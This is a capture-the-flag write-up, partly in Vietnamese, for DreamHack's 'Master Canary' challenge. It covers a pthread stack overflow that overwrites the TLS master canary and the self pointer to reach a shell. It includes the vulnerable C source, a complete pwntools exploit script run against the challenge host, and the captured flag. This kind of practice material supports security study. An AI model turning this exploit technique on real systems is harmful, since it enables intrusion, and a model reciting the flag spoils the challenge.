DreamHack.io

359 - Master Canary

February 7, 2026 January 17, 2026 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec mc_thread
[*] '/home/hungnt/ctfs/dreamhack.io/359/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Code

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

Solve

Thread mới được cấp vùng nhớ nằm giữa heap và stack của main thread:

Vùng 0x1000 bytes kia là guard page. Vùng 0x800000 được cấp phát cho thread mới, gồm stack (ở địa chỉ thấp, vì grow down), TLS ở địa chỉ cao.

Master canary nằm tại fs_base:0x28 (trong TLS):

Khoảng cách từ buffer đến master canary:

Overflow để ghi đè master canary nhưng gặp sigsegv:

Why? ChatGPT said:

Payload tràn đã ghi đè fs:0x10 (self), nhưng chưa tới fs:0x28 (stack_guard) thì chương trình crash trước.

Lý do:

Mỗi lần read(), Glibc luôn gọi __pthread_disable_asynccancel()

Hàm này lấy self = *(fs:0x10) rồi ghi self->canceltype

Khi self đã bị ghi thành 0x4141414141414141, Glibc cố ghi vào
[0x4141414141414141 + 0x972] → địa chỉ không hợp lệ → SIGSEGV

Hóa ra là tại fs_base:0x10:

Ghi đè các thứ hợp lệ là ok:

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("mc_thread_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x401396
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "host8.dreamhack.games"
        port = 14952
        return remote(host, port)

p = conn()

slan(p, b'Size', 0x1000)

pl = pad(0x118)
pl += p64(exe.symbols['giveshell']) # return address
pl = pl.ljust(0x910, b'A')
pl += p64(0x404800 - 0x972) # self
pl += p64(1) + p64(0)
pl += pad(8) # master canary

sla(p, b'Data', pl)

ia(p)
$ py solve.py 
[+] Opening connection to host8.dreamhack.games on port 14952: Done
[*] Switching to interactive mode
: $ ls
flag
mc_thread
$ cat flag
DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}